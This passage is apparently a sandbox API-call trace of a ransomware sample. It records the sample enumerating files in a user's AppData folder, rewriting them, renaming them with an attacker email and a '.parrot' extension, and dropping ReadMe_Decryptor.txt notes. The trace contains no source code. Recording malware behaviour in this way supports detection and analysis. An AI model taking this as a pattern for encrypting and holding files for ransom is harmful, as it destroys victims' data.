1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d1978 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1978 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6105c0 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x610708 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2850 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610708 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0036.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cfb50 [0036.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cce58 [0036.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfb50 | out: hHeap=0x5b0000) returned 1 [0036.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2240060 [0036.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.573] WriteFile (in: hFile=0x270, lpBuffer=0x2240080*, nNumberOfBytesToWrite=0x1008, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2240080*, lpNumberOfBytesWritten=0x18e604*=0x1008, lpOverlapped=0x0) returned 1 [0036.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0036.573] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xff8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.573] CloseHandle (hObject=0x270) returned 1 [0036.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x6105c0 [0036.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20e) returned 0x610728 [0036.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.574] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x5b0000) returned 1 [0036.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8a0 | out: hHeap=0x5b0000) returned 1 [0036.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cdd50 | out: hHeap=0x5b0000) returned 1 [0036.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0036.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x60c8b0 [0036.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.576] GetFileType (hFile=0x270) returned 0x1 [0036.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0036.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.668] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.manifest", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.668] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x560 [0036.668] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x678, nNumberOfBytesToLockHigh=0x0) returned 1 [0036.668] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0036.669] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0036.761] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.761] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x560, lpOverlapped=0x0) returned 1 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0036.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0036.761] GetLastError () returned 0x0 [0036.761] SetLastError (dwErrCode=0x0) [0036.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0036.762] GetLastError () returned 0x0 [0036.762] SetLastError (dwErrCode=0x0) [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.762] GetLastError () returned 0x0 [0036.762] SetLastError (dwErrCode=0x0) [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x570) returned 0x5d2850 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xad0) returned 0x5cce58 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0036.762] GetLastError () returned 0x0 [0036.762] SetLastError (dwErrCode=0x0) [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60c8a0 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0036.762] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0036.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d1978 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1978 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6105c0 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x610708 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2850 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610708 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.763] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0036.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0036.763] WriteFile (in: hFile=0x270, lpBuffer=0x5d4d18*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5d4d18*, lpNumberOfBytesWritten=0x18e604*=0x688, lpOverlapped=0x0) returned 1 [0036.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0036.764] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x678, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0036.764] CloseHandle (hObject=0x270) returned 1 [0036.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x6105c0 [0036.764] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20e) returned 0x610728 [0036.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0036.764] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x5b0000) returned 1 [0036.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8a0 | out: hHeap=0x5b0000) returned 1 [0036.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0036.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0036.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x60c8b0 [0036.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0036.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0036.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0036.766] GetFileType (hFile=0x270) returned 0x1 [0036.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0036.776] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 0 [0036.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0036.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0036.776] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0036.793] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0036.793] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa6d0d1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa6d0d1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.793] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0036.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0036.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0036.793] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6a5f900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x43f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="")) returned 1 [0036.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0036.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.793] lstrcmpW (lpString1="clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a0) returned 0x60c8b0 [0036.793] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b6a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3668, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="")) returned 1 [0036.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0036.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0036.794] lstrcmpW (lpString1="clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a0) returned 0x5d1760 [0036.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6b90400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1008, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLICKO~1.PAR")) returned 1 [0036.794] RtlAllocateHeap (HeapHandle=0x5b0000, 